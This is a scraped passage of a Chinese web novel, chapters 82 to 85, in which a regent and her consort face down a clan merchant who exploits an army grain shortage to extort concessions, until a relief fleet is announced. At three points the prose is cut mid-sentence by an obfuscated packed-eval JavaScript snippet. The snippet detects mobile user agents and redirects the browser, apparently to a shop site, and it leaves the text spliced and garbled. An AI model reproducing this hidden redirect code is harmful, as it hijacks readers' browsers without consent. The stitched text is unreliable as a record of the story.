笑意未曾抵达眼底,反而让她的眸子显得更加深邃锐利。她修长如玉的指尖,在巨大的沙盘上缓缓移动,最终精准地落在代表宗室势力范围的几处关键城池节点和蜿蜒如毒蛇的商路之上,轻轻一点。那动作看似优雅随意,却带着一种洞悉全局、执掌生死的凛冽杀机,仿佛一位高明的棋手,已然看穿了对手的所有布局,并精准地点中了那条潜伏毒蛇的七寸要害。 “他们无非是看准了眼下这千载难逢的时机,妄想用粮草这把钝刀,勒紧我边关数万大军的咽喉,逼我们在这生死存亡之际低头妥协,乖乖交出**专营这块肥肉,以及女学基金这棵未来的摇钱树。”她冷哼一声,声音如同数九寒天里屋檐下坠落的冰凌,清脆却刺骨,眼中迸射出足以劈开迷雾的锐利光芒,如同绝世宝剑骤然出鞘,寒光四射,“可惜啊可惜,他们终究是打错了算盘,更看错了人。本王的东西,是拿来安天下、济黎民的,岂是这些蠹虫可以随意觊觎、妄图染指的?” 她的语气平静,却蕴含着不容置疑的威严和强大的自信,那是一种基于绝对实力和清晰判断的底气。萧御站在她身侧,清晰地感受到她身上散发出的那种运筹帷幄、决胜千里的气场,心中不禁涌起一股混杂着骄傲与心疼的复杂情愫。他深知,她独自承受的压力有多大,但也无比确信,她有足够的能力和智慧化解这场危机。 仿佛是为了完美印证萧御那不祥的预感,以及谢凤卿精准的推断,帐外远处,辕门方向,突然由远及近地传来一阵越来越响、越来越杂乱的喧哗吵闹之声。那声音穿透呼啸的风雪,清晰地传入帐内,其间夹杂着守营士兵们严厉而克制的呵斥,以及一些更加嚣张跋扈、带着明显宗室倨傲和幸灾乐祸意味的叫嚷,听起来人数似乎还不少。 谢凤卿与萧御几乎是同时侧耳倾听,两人的眼神在空中瞬间交汇,没有惊诧,没有慌乱,只有一种“果然如此”的了然和一丝对跳梁小丑的冰冷讥讽。他们甚至无需任何语言或眼神的额外交流,便如同共用一个灵魂般,心意相通。下一刻,两人便如同心有灵犀的并肩战友,同时举步,一玄一墨两道挺拔如松的身影,带着沉稳如山岳、坚定如磐石的气势,并肩向帐外走去,准备直面这场意料之中的风波。他们的步伐一致,身影在灯光下紧密相依,无声地宣告着无论面对何种艰难险阻,他们都将是彼此最坚实的后盾。 帅帐之外,风雪似乎更疾了几分,刮在脸上如同刀割。 辕门之外,风雪依旧肆虐,但此处的气氛却比严寒更为凝重。只见一群衣着与军营肃杀氛围格格不入的人,正与一队手持长戈、面色如铁的士兵形成尖锐的对峙。这群人约莫十来个,个个身着江南织造局**的云锦华服,外披着罕见的紫貂或银狐裘氅,在素白一片的雪地中显得格外扎眼,如同雪白宣纸上突兀滴落的浓墨。 第82章什么要求? 他们虽被明晃晃的戈尖阻拦在军营防线之外,身处刀枪环伺之下,脸上却见不到半分惧色,反而个个挺胸腆肚,下颌微扬,眉宇间洋溢着一种与生俱来的倨傲和置身事外的优越感,仿佛眼前这些浴血奋战的士兵和肃杀的军营,不过是他们可以随意评头论足的戏台。 为首之人,被众人隐隐簇拥在中央,正是宗室商会中手握重权、声名在外的头面人物——萧景明。论起皇室辈分,他算是监国萧御的一位远房堂叔,年约四旬,因养尊处优,面皮显得异常白净光滑,不见多少风霜痕迹。他身披一件极为罕见的玄狐大氅,**锋油亮,在风雪中丝毫不沾雪沫,价值连城。 然而,最引人注目的并非他的穿着,而是他那双微微眯起的细长眼睛,此刻正滴溜溜地转动着,目光如同最精密的算盘,飞快地扫过辕门守军的装备、神情,以及军营内部的布局,眼神中时刻闪烁着商贾特有的精明算计、审时度势,以及一种深植于骨髓的、因宗室身份而带来的莫名优越感。他嘴角挂着一丝若有若无的浅笑,那笑容看似平和,底下却藏着仿佛一切尽在掌握的笃定,与周围将士们紧绷如弓弦的神情形成了无比讽刺的对比。 见到谢凤卿和萧御并肩步出帅帐,萧景明眼中下意识地闪过一丝难以掩饰的忌惮——这两位年轻人,一位是执掌虎符、在尸山血海中建立起赫赫威名的摄政王,另一位是地位尊崇、以缜密心思执掌朝纲的监国,皆是深不可测、绝非易与之辈。他们二人联袂而出,无形中散发出的威压,仿佛让周遭的风雪都为之一滞。 然而,这股忌惮如同投入滚油的火星,转瞬即逝,迅速被脑海中那份关于“粮草仅剩三日”的绝密消息所带来的狂喜和即将攫取的巨大利益所点燃、吞噬。一想到若能借此良机,逼迫对方交出**专营和女学基金这两座金山,自己在宗室内的地位将如日中天,无尽的财富和权力仿佛已触手可及,萧景明的心头便是一片灼热,那点忌惮早已被贪婪的火焰烧得灰飞烟灭。 他故意用力清了清嗓子,那声音在风雪的呜咽中显得格外突兀刺耳,随即刻意拔高音量,用一种近乎夸张的语调喊道: “哎——哟!摄政王殿下!监国大人!您二位日理万机,可算是拨冗现身了!”他一边说着,一边夸张地拱了拱手,动作浮夸,脸上堆砌起浓得化不开的虚伪笑容,每一道皱纹里都仿佛填满了算计,“下官等人可是在此等候多时,心急如焚呐!” 他话锋一转,故作关切地凑近半步,压低声音,却又确保周围人都能听见:“哎呀呀,说来真是令人揪心!下官听闻军中粮草似乎…有些不济?将士们可能…腹中饥馑?”他拖长了尾音,目光在谢凤卿和萧御脸上逡巡,试图捕捉一丝一毫的慌乱,可惜他失望了,那两张年轻的面容平静得如同深潭。他只得继续表演,捶胸顿足道:“这可真是天塌下来的大事啊!边关将士为我大梁戍边,抛头颅洒热血,若是饿着肚子守国门,这…这要是传扬出去,岂不让天下忠义之士齿冷心寒?岂不让敌国笑掉大牙?” 他假惺惺地重重叹了口气,那叹息声婉转曲折,充满了表演的痕迹,随即摊开双手,露出一副既无奈又痛心疾首的模样,仿佛他才是那个最忧国忧民的人:“说来也真是无巧不成书!我们商会近日,那可真是费了九牛二虎之力,耗费无数金银,动用了不知多少人脉关系,才好不容易从江南那鱼米之乡,紧急调集来一批上等的粮米!颗粒饱满,都是今年的新粮!本想着趁这年关时节,运到北地,赚些微薄的辛苦钱,也好给宗室里的那些老弱妇孺、孤寡遗孀们,多添件御寒的冬衣,让他们过个暖和年。” 他话语一顿,目光再次扫过谢凤卿和萧御依旧毫无波澜的脸庞,心下不禁有些打鼓,那股莫名的压力又开始浮现。但事已至此,开弓没有回头箭,他只能硬着头皮,将这场戏唱到底。他脸上挤出更加“诚恳”的表情,声音也带上了几分“悲天悯人”: “可如今!军情紧急,边关告急!将士们的肚子是天大的事!我等身为萧氏宗亲,身上流淌着太祖皇帝的血脉,享受着朝廷的俸禄,岂能在此危急关头坐视不理?岂能只顾着自家商会的温饱,而让前线抛头颅洒热血的将士们寒心?这等不仁不义之事,我们商会是万万做不出来的!” 他深吸一口气,仿佛下了天大的决心,终于图穷匕见:“只要…只要摄政王殿下能体恤下情,念在我们商会一片赤诚,为国分忧的份上,答应我们几个小小的、合情合理、于国于民都大有裨益的要求…那么!”他猛地提高声调,伸出两根手指,强调道:“这批粮食,我们商会即刻!对,就是马上!平价…不不不!半价!只要半价!供给大军,以解这燃眉之急!如何?” 他刻意将“即刻”、“半价”这几个字咬得极重,声音在风雪中回荡,试图用这种“慷慨”的姿态,来凸显对方的“急需”和自己的“雪中送炭”,字里行间充满了施舍的意味和不容拒绝的逼迫。 他身后那群跟着前来壮声势的宗室子弟们,见萧景明开了口,立刻如同得了信号的应声虫般,纷纷出声附和。一时间,七嘴八舌,嘈杂不堪。 “是啊是啊!景明叔公一片苦心,都是为了江山社稷,为了前线将士啊!” “我等宗亲,与国同休,岂能坐视边关不稳?” “半价供给,这已是赔本赚吆喝了,王爷、监国还需体谅我等难处啊!” 这些人脸上带着毫不掩饰的、居高临下的施舍般的得意笑容,仿佛他们此刻不是趁人之危、落井下石,而是大发慈悲、雪中送炭的救世主。他们锦衣华服,站在风雪肆虐的军营辕门前,与周围甲胄染尘、面色凝重的将士们形成了刺眼的对比,那种隔岸观火、甚至幸灾乐祸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613156|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 优越感,几乎要溢出来。 然而,与这群人的喧嚣形成鲜明对比的,是谢凤卿那近乎凝固的平静。她面色平静无波,如同覆盖着千年冰雪的湖面,任尔狂风呼啸,我自岿然不动。她深邃的眼眸更像是两口望不见底的古井,幽深冰冷,不起丝毫涟漪,仿佛眼前这场精心策划的逼宫闹剧,这些跳梁小丑的拙劣表演,都与她毫无关系,甚至不值得她投去一丝多余的目光。 她甚至没有正眼去看萧景明那副令人作呕的表演,只是微微侧首,目光似乎落在了辕门外那杆在风雪中顽强挺立的“凤”字大旗上,淡淡开口,声音不高,却奇异地穿透了风雪的呼啸和那群宗室的嘈杂,清晰地、一字不落地传入萧景明以及周围每一个人的耳中: “什么要求?” 语气平淡得近乎冷漠,听不出任何情绪波动,既没有愤怒,也没有焦急,就像是在询问今日风雪何时能停一般随意。这种超乎寻常的冷静,反而让原本喧闹的宗室子弟们不由自主地安静了几分,面面相觑。 萧景明见她竟然接话了,心中得意更甚,一股“果然如此,她到底还是怕了”的狂喜涌上心头,自以为终于精准地扼住了对方的咽喉。他连忙向前凑近几步,几乎要越过士兵们长戈划出的界限,脸上堆起更加“推心置腹”的表情,刻意压低声音,但那音量却又控制得恰到好处,仿佛是在说悄悄话,实则能让周围严阵以待的士兵们隐约听见,充满了暧昧的暗示性和胁迫感: “要求嘛,”他搓了搓手,露出一副“好商量”的姿态,“其实简单得很,对王爷和监国而言,不过是举手之劳,顺水推舟的人情。”他伸出两根保养得宜、戴着玉扳指的手指,在空气中晃了晃,“这第一桩嘛……” 他顿了顿,目光扫过谢凤卿依旧平静的脸,才继续说道,语气变得“语重心长”:“请王爷收回成命,撤销那劳什子‘**民营令’。王爷您明鉴**,当知**乃杀伐利器,国之重器,关乎社稷根本安危,岂能轻易交由民间商人肆意制造、贩卖?这岂不是太阿倒持,将利剑悬于自家头顶?后患无穷啊!” 他声音提高了一些,带着煽动性:“此等国之命脉,理当牢牢掌握在朝廷手中…嗯,或者说,掌握在咱们自家人手里,那才叫稳妥,才能确保万无一失,您说是不是这个理儿?”他将“自家人”三个字咬得格外重,目光意有所指地瞟了一眼站在谢凤卿身旁、面色沉静的萧御,试图拉拢同属宗室的监国,并暗示谢凤卿终究是个“外人”。 他一边说着,一边紧紧观察着谢凤卿的脸色,见她依旧如同冰雕般毫无反应,甚至连睫毛都未曾颤动一下,心中那份因对方“沉默”而产生的底气又足了几分,暗自思忖这摄政王终究是投鼠忌器了。他清了清嗓子,脸上那虚伪的忧国忧民面具下,贪婪的本色愈发清晰地透了出来,继续说道: 第83章欺人太甚 “这第二嘛…”他右手拇指和食指下意识地搓了搓,仿佛在掂量着无形的金银,脸上露出一种混合着渴望与算计的油腻笑容,声音也带上了一丝不易察觉的急切,“便是关于王爷您高瞻远瞩设立的那个‘女学基金’。哎呀,王爷有所不知,此基金如今规模庞大,堪称金山银海,每日流水惊人,所涉事务更是千头万绪,繁杂无比。内府那些官员,您也知道,办事循规蹈矩,僵化死板,恐怕难以应对如此灵活机变的庞大财源。长此以往,只怕是好心办了坏事,白白浪费了王爷您的一片拳拳苦心,也辜负了天下女子的期盼啊。” 他话锋一转,图穷匕见,语气变得“诚恳”而“热切”:“不如…就将这基金全权交由我们宗室商会来代为打理运作!我们商会经营多年,商脉通达四海,最擅长的便是让钱生钱,利滚利!我们必定能运用丰富的经验和灵活的手段,让这笔基金发挥出最大的效用,其收益不仅能惠及更多…嗯,当然是优先惠及咱们宗室内的女子,让她们也能沐浴教化之恩,这岂不是两全其美?也算是为王爷您分忧解难了!”他说得冠冕堂皇,仿佛一切都是为了大局着想,但那双闪烁着精光的眼睛,却赤裸裸地暴露了他想要将这两大财源——**之利与教育之资——彻底吞并的野心。 这番毫不掩饰、趁火**的言论,如同在滚沸的油锅中猛然泼入一瓢冰水,瞬间在辕门前炸开! 周围严阵以待的将士们,闻言无不怒目圆睁!他们胸膛剧烈起伏,粗重的喘息在寒冷空气中凝成团团白雾,握着兵器的手因极度愤怒而青筋暴起,指节发出“咔咔”的轻响。一些血性刚烈的汉子,气得双目赤红,几乎要喷出火来,忍不住“铿”地一声,手已经按在了腰间的刀柄之上,冰冷的金属触感刺激着他们濒临爆发的神经,牙齿咬得咯咯作响,额角太阳穴突突直跳。 “狗贼!安敢如此!” “欺人太甚!老子劈了这群蠹虫!” 几声压抑到极致的低吼从牙缝中挤出,充满了杀意。若非身旁较为冷静、深知大局为重的同袍死死用眼神制止,并用身体微微挡住,甚至暗中用力按住他们蠢蠢欲动的手臂,只怕当场就有暴怒的士兵会拔刀相向,血溅五步! 一股悲愤、**、而又深感无力的复杂情绪,如同致命的瘟疫,在士兵中间无声而迅速地蔓延开来。粮草仅存三日的消息虽被严令封锁,但这些历经沙场、嗅觉敏锐的老兵们,早已从近日伙食中那越来越能照见人影的稀粥,那逐渐缩水、甚至需要掰着指头计算的干粮配给中,清晰地嗅到了危机的气息。空着肚子,手脚发软,连战刀都难以挥动,此刻若与这些掌握着粮食命脉、有恃无恐的宗室爆发冲突,无异于以卵击石,正中对方下怀。这种明知受辱却不得不强忍的憋屈,比刀剑加身更令人痛苦,与这漫天冰冷刺骨的风雪交织在一起,仿佛将每个人的心都冻成了寒冰。 谢凤卿尚未启唇,甚至不曾给萧景明一个正眼,她身侧的萧御已倏然一步踏前。 这一步,看似寻常,却精准而坚定。他高大挺拔的身躯自然而然地微微侧移,不着痕迹地将谢凤卿的身影护在了自己身后更安全的位置。这个动作并非出于轻视她的能力,而是一种深植于骨髓的本能,一种在风雨欲来时,为她遮挡一切明枪暗箭的无声宣言。他平日温润如玉、令人如沐春风的眼眸,此刻寒光凛冽,如同极北之地万年不化的玄冰,锐利得能刺穿人心。那目光不再是和风细雨,而是化作了实质的刀锋,带着千钧的重量和刺骨的寒意,缓缓地、极具压迫感地扫过萧景明那张虚伪狡诈的脸,以及他身后那群尚且不知大祸临头、犹自面露得意的宗室子弟。 当他开口时,声音已然褪去了所有的温度,冷得如同数九寒天里屋檐下悬垂的冰棱,每一个字都带着凛冽的杀意:“萧景明。” 他直呼其名,摒弃了任何虚伪的客套,监国的威严在这一刻展露无遗。 “尔等身为宗室,世受国恩,享尽荣华,食君之禄。值此边关危急存亡之秋,前线将士浴血奋战,马革裹尸,尔等不思为国分忧,为君解愁,恪尽臣子本分,反倒利用职权之便,窥探军机,囤积居奇,哄抬关乎数万大军生死之粮价,大发国难之财!此乃罪一!” 他的声音陡然拔高,如同惊雷炸响在辕门之前,震得萧景明等人耳中嗡嗡作响:“如今,尔等竟敢挟粮自重,以为手握些许粮草,便可胁迫摄政王,妄图逼迫其更改陛下钦准、利国利民之国策,交出关乎军国命脉之**专营,交出惠及天下寒门女子之教育基金?尔等眼中,可还有朝廷法度?可还有君臣纲常?!” 萧御的目光如炬,死死锁定在萧景明瞬间煞白的脸上,最后一句质问,如同泰山压顶,带着无可辩驳的正气与雷霆之怒:“你们这般的行径,与通敌叛国何异?!你们这是要**吗?!” “**”二字,如同九天惊雷,裹挟着凛然正气和监国的无上权威,狠狠劈下!不仅萧景明被这突如其来的凌厉气势和诛心之论吓得浑身一颤,下意识地踉跄后退了半步,脸上血色尽褪,写满了惊慌失措。就连他身后那些原本气焰嚣张的宗室子弟,也个个如同被掐住了脖子的鸭子,瞬间噤声,脸上的得意笑容僵住,转而化为一片惨白,有人甚至双腿发软,几乎要站立不住。周围严阵以待的将士们,则因监国这义正辞严的斥责而胸膛剧烈起伏,眼中迸发出解恨的光芒,紧握的拳头微微颤抖,若非军纪约束,几乎要为之喝彩! 萧景明心脏狂跳,仿佛要挣脱胸腔的束缚。他强自吞咽了一口唾沫,稳住几乎要发抖的双腿,脸上硬是挤出一个比哭还难看的、极度谦卑惶恐的表情,腰弯得几乎要折断,连连拱手作揖,声音带着夸张的颤抖:“监国大人言重了!言重了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617995|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !下官万万不敢!万万不敢有此心啊!就是借给下官一千个、一万个胆子,也绝不敢行此大逆不道之事!” 他直起身,试图让自己的表情看起来更加“诚恳”和“委屈”,语气也带上了几分被误解的悲凉:“这…这怎么能是**呢?监国大人明鉴啊!这…这分明是公平交易,各取所需嘛。”他偷偷抬眼觑了一下萧御冰冷的面色,又迅速低下头,继续说道,话语中却藏着软钉子,“王爷和监国大人想要粮草,是为了解这边关数十万军民的倒悬之危,此乃天大的仁政。我们…我们宗室商会,也不过是想借此机会,为宗室子弟们争取些…应得的权益,免得被些…不知根底、来历不明的人,占了天大的便宜,久而久之,寒了咱们这些真正流淌着太祖血脉的、自家人的心呐。” 他最后这句话,声音压得极低,却又确保关键的字眼能清晰地飘入周围人的耳中,尤其是那“不知根底”、“外人”几个词,伴随着他意有所指地、飞快地瞟向谢凤卿的眼神,恶毒至极。这已不再是简单的讨价还价,而是赤裸裸的人身攻击和挑拨离间,试图在萧御和谢凤卿之间,在宗室与这位功勋卓著的摄政王之间,埋下猜疑的种子。其心之险恶,昭然若揭。 “好一个‘公平交易’!好一个‘各取所需’!” 谢凤卿终于再次开口。她的声音依旧不高,甚至带着一丝奇异的平静,仿佛山谷幽泉滴落深潭,却偏偏拥有一种难以言喻的穿透力,清晰地压过了辕门外呼啸的风雪声,传入在场每一个人的耳中,字字分明。那语调里没有愤怒,没有焦急,只有一种淬冰般的、毫不掩饰的冰冷嘲讽,如同最锋利的冰锥,轻易刺穿了萧景明那套虚伪的言辞。 几乎在话音落下的同时,她有了一个细微却不容忽视的动作。她轻轻抬起那只戴着玄色护腕的右手,动作优雅而从容,却带着一种不容抗拒的坚定,轻轻推开了萧御下意识护在她身前的手臂。这个动作并非拒绝他的保护,而是一种宣告——宣告她无需任何人挡在身前,宣告她将亲自面对这场风波。她步履沉稳地上前一步,再次与萧御并肩而立,玄色与墨色的身影在风雪中并立,宛如两道不可逾越的山峦。 她的目光,平静得近乎漠然,缓缓投向脸色变幻不定的萧景明。那眼神,深邃如古井,幽深如寒潭,没有丝毫波澜,仿佛看的不是一个正在威胁数万大军生死的宗室权贵,而只是一个在台上卖力表演、却漏洞百出的跳梁小丑。她朱唇轻启,语气平淡得像是在询问一件与己无关的小事: “若本王…不答应呢?” 这轻飘飘的一句话,却比任何雷霆怒吼都更具分量,如同一块巨石投入看似平静的湖面,瞬间激起了千层浪。 萧景明脸上那勉强维持的、混合着虚伪谦卑和暗自得意的笑容,骤然僵硬,如同冻结的面具,出现了一道清晰的裂痕。 第84章让人一时无法接受。 他眼皮不受控制地跳动了几下,显然完全没有料到,在粮草仅剩三日的绝境下,谢凤卿竟然会如此直接、如此强硬地拒绝,甚至连一丝回旋的余地都未曾留下。 他喉结滚动,极力压下心中的惊愕与一丝悄然升起的慌乱,干笑两声,那笑声干涩刺耳,如同夜枭啼叫。他脸上重新堆起那种令人作呕的、皮笑肉不笑的表情,语气也变得阴阳怪气起来:“王爷若不答应…呵呵,下官等自然不敢强求。毕竟,您是摄政王,执掌天下兵马,生杀予夺,大权在握,一声令下,便可伏尸百万,血流成河。下官等人,不过是仰仗祖荫、做些小本生意的宗室旁支,岂敢违逆王爷的虎威?” 他话锋陡然一转,如同毒蛇吐信,语气中带上了毫不掩饰的、冰冷的威胁,目光扫过周围那些因为饥饿和愤怒而面色青白的士兵们:“只是…王爷,监国大人,您二位身份尊贵,或许不食人间烟火。但这军营里,这数万嗷嗷待哺的大军的肚子,它…等不起啊!”他刻意加重了“数万”和“肚子”这两个词,声音在风雪中回荡,“一天!哪怕一天也等不起!” 他向前微微倾身,做出推心置腹的姿态,声音压低,却如同恶魔的低语,清晰地钻入每个人的耳朵:“王爷,您可曾想过?若是…若是就因为这‘不答应’三个字,导致粮尽援绝,军中彻底断炊…届时,饥寒交迫的士卒会做出什么事来?下官可是听闻,前朝末年,就曾有大军因缺粮而酿成营啸,士兵们如同疯魔,互相**,甚至冲击主帅大帐…最终导致整条防线崩溃,让北方蛮族铁骑长驱直入,神州陆沉,生灵涂炭…” 他直起身,摊开双手,脸上露出一种极其虚伪的、仿佛感同身受的“担忧”表情,那“担忧”之下,是掩藏不住的幸灾乐祸和恶毒的诅咒:“这泼天的责任…这千古的骂名…呵呵,下官人微言轻,身家性命皆系于王爷一念之间,自然是万万承担不起的。下官实在是…为王爷您和监国大人的千秋声誉,为您二位的身家前程…担忧得食不下咽、夜不能寐啊!”他刻意拉长了“担忧”二字的语调,每一个字都充满了阴冷的暗示和即将得逞的快意,仿佛已经看到了对方在断粮压力下最终屈服的场景。 风雪依旧肆虐,但辕门前的空气,却因这番赤裸裸的、以数万将士生死和边关存亡为筹码的威胁,而彻底凝固了。所有人的目光,都聚焦在了那位玄衣女子身上,等待着她的回应。 就在辕门前的气氛紧绷到了极致,如同拉满的弓弦,下一瞬就要断裂迸发! 萧景明自觉已将对方逼入了绝境,胸中那股混合着贪婪与权力的优越感几乎要满溢出来。他仿佛已经看到谢凤卿和萧御在他这“绝杀”般的威胁下,不得不低头妥协的场景。那**专营的巨大利润,那女学基金这座金山,似乎已是他囊中之物。他嘴角的肌肉不受控制地微微抽动,一丝属于胜利者的、难以完全掩饰的得意弧度,开始在他那保养得宜的白净面皮上勾勒出来,尽管他极力想保持那份虚伪的谦卑,但那眼底深处闪烁的狂喜之光,却出卖了他内心的真实想法。他甚至已经在心中盘算着,待拿到这两项权柄后,该如何在宗室内部分配利益,如何进一步巩固自己的地位。 他身后那群宗室子弟,更是按捺不住,有人已经互相交换着心照不宣的眼神,脸上露出了仿佛大局已定的轻松笑容,只等着见证这历史性的一刻——权势滔天的摄政王和监国,向他们低头! 然而,就在这仿佛时间都为之凝固的刹那—— “哒哒哒——哒哒哒——!!” 一阵极其突兀、急促到令人心悸的马蹄声,如同边关烽火台上骤然敲响的警钟,又如同夏日暴风雨前密集砸落的冰雹,毫无预兆地撕裂了风雪呼啸的背景音,从官道的尽头,那被茫茫雪幕笼罩的远方,猛烈地传来! 那声音初时细微,仿佛错觉,但转瞬之间就变得清晰可闻,并且以惊人的速度由远及近,节奏快得毫无保留,充满了不容置疑的十万火急的味道!这马蹄声是如此的不同寻常,如此的打破常规,以至于它一出现,就像一块巨石投入死水潭中,瞬间打破了辕门前那诡异而脆弱的平衡! 所有人的目光,无论是趾高气扬的萧景明一伙,还是怒目而视、紧握兵器的将士,甚至是始终平静如深潭的谢凤卿和面色冷峻的萧御,都不由自主地被这突如其来的、充满变数的声响所吸引,齐刷刷地转向了马蹄声传来的方向。 每个人的眼神中都带着惊疑、猜测,以及一丝被这意外打断所引出的、难以言喻的紧张。这马蹄声,会带来什么?是雪上加霜的噩耗,还是……绝处逢生的转机?空气仿佛在这一刻彻底凝固,只剩下那越来越近、越来越响,如同战鼓般敲击在每个人心头的马蹄声。 只见风雪弥漫的官道尽头,一骑黑影如同挣脱地狱束缚的幽灵,以撕裂天地之势冲破茫茫雪幕!那马匹通体乌黑,此刻却覆满厚厚的冰雪,仿佛一匹奔腾的“雪马”,四蹄踏碎琼玉,溅起的雪沫在身后拉出一道白色的旋风。马上的骑士整个身体几乎与马背融为一体,他伏低的身姿如同蓄势待发的猎豹,玄色披风在身后被狂风扯得笔直,发出裂帛般的呼啸。一人一马,以一种近乎燃烧生命的疯狂速度,向着辕门的方向亡命疾驰! 临近辕门,那匹神骏的战马显然已是**之末,鼻孔张大喷出滚烫的白气,胸腹剧烈起伏,发出一声力竭的悲鸣。它的前蹄猛地一软,庞大身躯带着惯性向前轰然栽倒!这一变故发生在电光石火之间,眼看就要连人带马摔得骨断筋折! 千钧一发之际,那骑士展现出了惊人的身手和冷静!就在马匹失蹄的瞬间,他双脚迅速脱开马镫,身体借着前冲的势头顺势向前滚出!只见他在雪地上连续翻滚数圈,玄色披风裹着积雪舞动成团,巧妙地卸去了巨大的冲击力。动作一气呵成,宛如经过千百次演练。随即,他不顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622353|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浑身骨骼仿佛散架般的剧痛和满身的狼狈,用刀鞘支撑着身体,连滚带爬地挣扎起身,单膝重重跪倒在冰冷刺骨的雪地中。他甚至来不及拍去脸上的雪水泥泞,也来不及喘匀那口如同破风箱般撕扯的呼吸,便用尽全身残存的力气,仰起头,朝着帅帐的方向,嘶声高喊! 那声音因极度的疲惫、长途奔波的辛劳、刺骨的寒冷以及难以抑制的激动而严重扭曲变形,嘶哑得如同砂纸摩擦,却像一柄重锤,狠狠地敲碎了辕门前凝固的死寂,又如九天惊雷,炸响在每一个人的耳边: “报——捷报!鬼市船队!鬼市船队已至百里之外的黑石湾!” 他剧烈喘息着,每一次吸气都像是拉风箱,但仍旧奋力继续喊道,每一个字都仿佛用鲜血淬炼而出: “十艘!整整十艘五千料的巨型粮船!船吃水极深,帆樯如林,满载着江南今年新收的优质稻米,初步估算,不下十万石!” 说到这里,他因激动而停顿片刻,目光扫过周围震惊的人群,最后定格在谢凤卿和萧御身上,用更加高昂、带着无比自豪和振奋的语气嘶吼道: “由…由两艘威震四海的火龙炮舰护航!旗号清晰无误!桅杆之上,一面是鬼市那狰狞的鬼面旗迎风招展,另一面…另一面正是我朝摄政王的凤字大旗,两旗并列,迎风猎猎!” 这接连而来的消息,一句比一句更具冲击力,如同排山倒海的巨浪,一波又一波地冲击着在场每一个人的心神。那骑士喊完最后一句,仿佛耗尽了所有的生命力,身体晃了晃,险些瘫软在地,但他仍凭着一股意志力强撑着跪姿,抬头望向他的主帅,胸膛剧烈起伏,呼出的白气浓重如雾。 这一刻,时间仿佛静止。风雪依旧呼啸,但所有的声音似乎都远去了。只剩下那骑士嘶哑的报捷声在空气中回荡,每一个字都如同烧红的烙铁,深深地烙进了每个人的心底。十万石粮草!火龙炮舰护航!凤字旗与鬼面旗并列!这一连串的信息,不仅意味着粮草危机瞬间解除,更传递出一个无比强烈的信号——摄政王早已布下后手,与神秘强大的鬼市势力结成了牢固的同盟! 希望,如同初升的朝阳,骤然刺破了笼罩军营数日的绝望阴云。 这石破天惊的消息,如同在滚沸的油锅中猛然泼入一瓢冰水,瞬间激起了剧烈的反应;又如同在漫长死寂的暗夜里,骤然点燃了照亮整个天地的熊熊烽火,将压抑已久的黑暗驱散殆尽! 辕门前,那死一般的寂静仅仅维持了不到一息的时间。当骑士嘶哑却无比清晰的报捷声,如同重锤般砸进每一个人的耳膜,在场所有将士的脸上首先浮现出的是一种极致的茫然和难以置信。他们瞪大了眼睛,张开了嘴巴,仿佛在消化一个远远超出理解范围的奇迹。粮草将尽的绝望,如同沉重的枷锁,已经禁锢了他们数日,此刻这突如其来的喜讯,太过猛烈,太过不可思议,以至于让人一时无法接受。 第85章看来这公平交易是做不成了 但紧接着,如同地底奔涌的岩浆终于冲破了最后一道岩层,压抑了太久的情感轰然爆发!震耳欲聋的、混杂着狂喜、激动、哽咽和如释重负的欢呼声,如同积蓄了万钧之力的海啸,冲天而起,直破云霄,甚至连呼啸的风雪声都被彻底淹没! “鬼市船队来了!” “十万石粮食!十万石啊!” “还有火龙炮舰护航!天佑我大梁!” “王爷万岁!凤皇万岁!” 欢呼声、呐喊声、哽咽声、兵器撞击盾牌发出的铿锵声,交织在一起,形成一股沸腾的声浪,席卷了整个辕门,并向军营深处蔓延开去!许多铁骨铮铮的汉子,此刻却热泪盈眶,他们相互紧紧拥抱,用力捶打着对方的后背,仿佛要通过这种方式来确认眼前的一切不是梦境。多日来积压在心中的焦虑、对饥饿的恐惧、对未来的迷茫、以及对萧景明等宗室蠹虫趁火**的愤恨与**,在这一刻,随着这震天动地的欢呼,彻底烟消云散,化为乌有!鬼市船队的及时出现,火龙炮舰的强大护航,十万石救命的粮食,这一切都清晰地指向一个事实——边关有救了!数万大军有救了!他们追随的摄政王,早已运筹帷幄,布下了决胜千里的后手!希望的光芒,从未如此炽烈地照耀在这片苦寒的土地上! 与这沸腾的狂喜形成地狱与天堂般鲜明对比的,是萧景明及其身后一众宗室子弟的反应。 